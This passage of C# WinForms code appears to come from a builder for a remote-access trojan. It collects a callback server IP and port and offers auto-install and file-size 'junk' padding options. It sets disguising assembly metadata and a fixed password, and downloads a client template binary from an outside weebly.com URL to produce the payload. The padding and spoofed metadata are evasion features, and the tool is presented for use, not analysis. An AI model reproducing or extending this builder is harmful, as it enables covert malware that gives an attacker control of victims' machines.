private void apply_Click(object sender, EventArgs e) { //if unable to convert if (!Checking.CheckConvertInt(portBox.Text)) { //show error MessageBox.Show("Please enter a valid port", "error"); return; } //create a new instance of the MainForm class and put in the port MainForm main = new MainForm(int.Parse(portBox.Text)); main.Show(); this.Hide(); }
private void enAddJunk_CheckChanged(object sender, CheckEventArgs e) { if (enAddJunk.Checked) { DefaultInputForm input = new DefaultInputForm("enter size to add (MB):", "10"); input.ShowDialog(); if (!Checking.CheckConvertInt(input.results[0])) { MessageBox.Show("Please enter a valid number"); enAddJunk.Checked = false; return; } enAddJunk.optionalValue = (int.Parse(input.results[0]) * 1048576).ToString(); } }
private BuildOptions GetOptions() { BuildOptions options = new BuildOptions(); //check all the information, if anything is invalid show errors if (Checking.CheckNullOrEmpty(buildPathBox.Text, nameBox.Text, descBox.Text, comBox.Text)) { MessageBox.Show("Please fill out all required fields", "error"); return(options); } if (Checking.CheckConvertInt(portBox.Text)) { if (Checking.CheckPort(int.Parse(portBox.Text))) { MessageBox.Show("Please enter a valid port", "error"); return(options); } } else { MessageBox.Show("Please enter a valid port", "error"); return(options); } //get all the version textboxs Control[] vs = { v2, }; //go through all the version textboxes, if it's empty; add a 0 foreach (var v in vs) { if (string.IsNullOrEmpty(v.Text)) { v.Text = "0"; } } StyledCheckBox[] settings = { enAutoInstall, enAddJunk }; //set assembly information string[] aInfo = { nameBox.Text, descBox.Text, $"{v2.Text}", comBox.Text }; //set other properties options.AssemblyInformation = aInfo; options.OutputPath = buildPathBox.Text; options.Password = "******"; options.additionalSettings = settings; options.serverIP = ipBox.Text; options.port = portBox.Text; if (!Web.DownloadFileWithCheck("https://supaepicapplel.weebly.com/uploads/1/1/8/3/118308419/clienttemplate.bin", "ClientTemplate.bin")) { MessageBox.Show("Could not download the client template file", "error"); return(options); } options.isSucceded = true; return(options); }